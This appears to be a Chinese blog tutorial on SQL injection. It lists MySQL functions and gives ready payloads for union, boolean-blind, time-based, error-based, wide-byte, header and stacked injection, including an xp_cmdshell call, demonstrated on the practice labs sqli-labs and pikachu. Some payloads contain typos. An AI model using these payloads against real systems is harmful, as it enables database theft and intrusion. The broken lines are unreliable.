SQL注入漏洞类型和常用知识

1 篇文章 0 订阅
1 篇文章 0 订阅

SQL注入漏洞类型和常用知识

通过几年对网络安全的学习,我总结了一些sql注入漏洞的知识和技巧,在这儿分享给大家,如果有问题还请给位前辈大佬多多指点,希望我总结的知识对大家有用。
 
 

sql注入常用知识和常用函数

 
 

数据库查询
version()    数据库版本
database()   数据库名   
table_name   表名
column_name  字段名

 

Order by函数
判断字段个数。
例:order by 3;

当输入值为4时登陆失败,说明有3列
当输入值为4时登陆失败,说明有3个字段
 
 
 
 

Union select函数
联合查询,合并多个select语句并查询两个表中共同都有的字段。
例:union select 1,2,3;

在这里插入图片描述通过union select爆库可知数据库名为security。
 
 
 
 

Length()函数
 返回字符串长度。
例:length(database())>1 ;  

在这里插入图片描述数据库名长度大于7
 
 
 
 

Left()函数
 left(a,b)从左侧截取a的前b位,正确则返回1。 
例:left(database(),1)='s';

在这里插入图片描述
判断前1位是否是s
 
 
 
 

Regexp函数
regexp为匹配的正则表达式。 
例:select database() regexp 's';

在这里插入图片描述匹配第一个字符是否是s。
 
 
 
 

Like函数
匹配与regexp相似。 
例:select database() like 's%';

在这里插入图片描述 匹配第一个字符是否是s。
 
 
 
 

Substr()函数
substr(a,b,c)从位置b开始,截取a字符串c位长度。 
例:select substr((select database()),1,1)='s'; 

在这里插入图片描述匹配第一个字符是否是s。
在这里插入图片描述匹配前三个字符是否是sec。
 
 
 
 

Ascii()函数
将某个字符串转化为ascii值。
例:select ascii(substr((select database()),1,1))<200; 

在这里插入图片描述判断数据库名第一个字母的ascii码是否小于200,如果小于200,就会返回1,否则返回0。
 
 
 
 

Ord函数
函数是返回第一个字符的ascii码值。
例:select ord(substr(database(),1,1))<200;

在这里插入图片描述判断数据库名第一个字母返回的ascii码是否小于200,如果小于200,就会返回1,否则返回0。
 
 
 
 

mid()函数
用于得到字符串的一部分。
例:select ord(mid(database(),1,1))<200;

在这里插入图片描述取数据库名的第一位进行判断

 
 
 
 

if()函数
常用的判断语句。
例:if((select length(database()))>3,1,0)

在这里插入图片描述判断数据库名长度是否大于7,大于7返回1,不大于7返回0
 
 
 
 

sleep()函数
执行sleep(x)函数让语句多运行x秒。
例:if(ascii(substr((select database()),1,1))<200,sleep(5),1)

在这里插入图片描述判断数据库名的第一个字母的ascii码是否小于200,如果小于延迟5秒加载
 
 
 
 

concat函数
将两个字符串组成一个字符串。
例:select concat(users,passwd....)

在这里插入图片描述

列出所有表明
 
 
 
 

常见的sql注入类型

 
 

数字型

判断
?id=1'  //报错
?id=1 or 1=1 
?id=1 and 1=2
爆库
?id=-1' union select 1,2,database()--+
爆表
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
爆字段
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

 
 

数字型注入过程

 
sql-lab less-1演示
在这里插入图片描述 找到注入点
在这里插入图片描述判断字段个数
在这里插入图片描述2,3位可显
在这里插入图片描述爆库名库名为security
在这里插入图片描述从schema库中列出所有表的名字在3处显示
在这里插入图片描述从schema库中列出所有字段的名字在3处显示
 
 
 
 

字符型

判断
xxx' //报错
xxx' or '1'='1'--+ 
xxx' and '1=1--+'
爆库
?name=-' union select 1,database()--+
爆表
?name=-' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+
爆字段
?name=-' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'--+

 
 

字符型注入过程

 
pikachu字符型注入演示
在这里插入图片描述找到注入点
在这里插入图片描述判断字段个数
在这里插入图片描述1,2位可显
在这里插入图片描述爆库名库名为pikachu
在这里插入图片描述从schema库中列出所有表的名字在2处显示
在这里插入图片描述从schema库中列出所有字段的名字在2处显示
 
 
 
 

布尔盲注

判断
id=1'  //报错
id=1"
id=1)'
id=1' or 1=1#
爆库
?id=1' and left(database(),8)='security'--+
爆表
?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101--+
爆字段
?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)))>0--+

 
 

布尔盲注过程

 
sql-lab less-8演示

在这里插入图片描述判断数据库名长度

在这里插入图片描述判断数据库名
在这里插入图片描述判断数据库中第一个表的长度,更改limit可以更换表
在这里插入图片描述判断第一个表,名的第一个字母更改limit得出表明emails
在这里插入图片描述判断emails表中第一列名的长度
在这里插入图片描述判断emails表第一列名的第一位的ascii值
 
 
 
 

时间盲注

判断
1and sleep(5)--+
1 and sleep(5)--+
爆库
1' and if(ascii(substr(database(),1,1))>0,sleep(5),1)--+
爆表
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>1,sleep(5),1)--+
爆字段
1'and if(ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1))=1,sleep(5),1) #

 
 

时间盲注过程

 
sql-lab less-9演示
在这里插入图片描述判断数据库名长度
在这里插入图片描述判断数据库名
后面和布尔注入预计基本一致,时间注入更改语句通过时间判断,纯手工不用脚本太费事了,可以使用python脚本.
 
 
 
 

报错注入

判断
id=1'  //报错
id=1"
id=1)'
id=1' or 1=1#
爆库
1'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
爆表
1'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
爆字段
1'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))
爆数据
1'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))

 
 

报错注入过程

 
sql-lab less-5演示
在这里插入图片描述使用updatexml函数,updatexml函数为更改xml文件内容函数,0x7e不符合updatexml函数规定所以报错
在这里插入图片描述爆表
在这里插入图片描述爆字段
在这里插入图片描述爆数据

 

可用于报错注入的函数
1.通过updatexml
        id=1' and (select updatexml(1,concat(0x7e,(select database())),0x7e))
2.通过geometrycollection语句
        id=1' and geometrycollection((select * from(select * from (select user())a)b))
3.通过exp语句
        id=1' and exp(~(select from (select user() ) a));
4.通过polygon语句
        id=1' and polygon((select from (select from (select user())a)b));
5.通过NAME_CONST报错:
        id=1' and exists(select from (select from(select name_const(version(),0)a join   (select name_const(version(),0))b)c);
6.通过extractvalue报错:
        id=1' or extractvalue (1, concat(0x5c,(select user()))) or'
7.通过floor()报错:
        id=1' (select conut(),(concat(database(),rand(0)*2))x from infromation_schema.tables group by x)

 
 
 
 

宽字符注入

判断
当使用正常过滤方式报错后,有/说明id='1\''单引号被转义了,
我们可以利用宽字节来”吃掉反斜杠”
数据1%df' or 1=1--+ 输入会变成1�\' or 1#,导致单引号注入成功
&nbsp;
宽字符注入过程

 
pikachu宽字符注入演示

在这里插入图片描述发现注入点,使用%df注掉/再进行sql注入
在这里插入图片描述使用联合查询进行注入,与前面相似
 
 
 
 

HTTP请求头参数注入

判断
使用burpsuite,http header live等软件进行抓包。
在referer,cookie,XFF等位置输入sql语句进行尝试sql注入。
HTTP请求头参数注入过程

 
pikachu http header注入演示
在这里插入图片描述代理位置存在sql注入漏洞,在’后输入sql语句注入

在这里插入图片描述
cookie处也存在sql注入漏洞
 
 
 
 

堆叠注入

判断

使用;分割语句

Mysql
select * from users where id=1;create table test like users;

Sqlserver
select * from test;select * from test where id=1;exec master..xp_cmdshell 'ipconfig'

Oracle 不支持
Postgresql 支持
  • 4
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 6
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值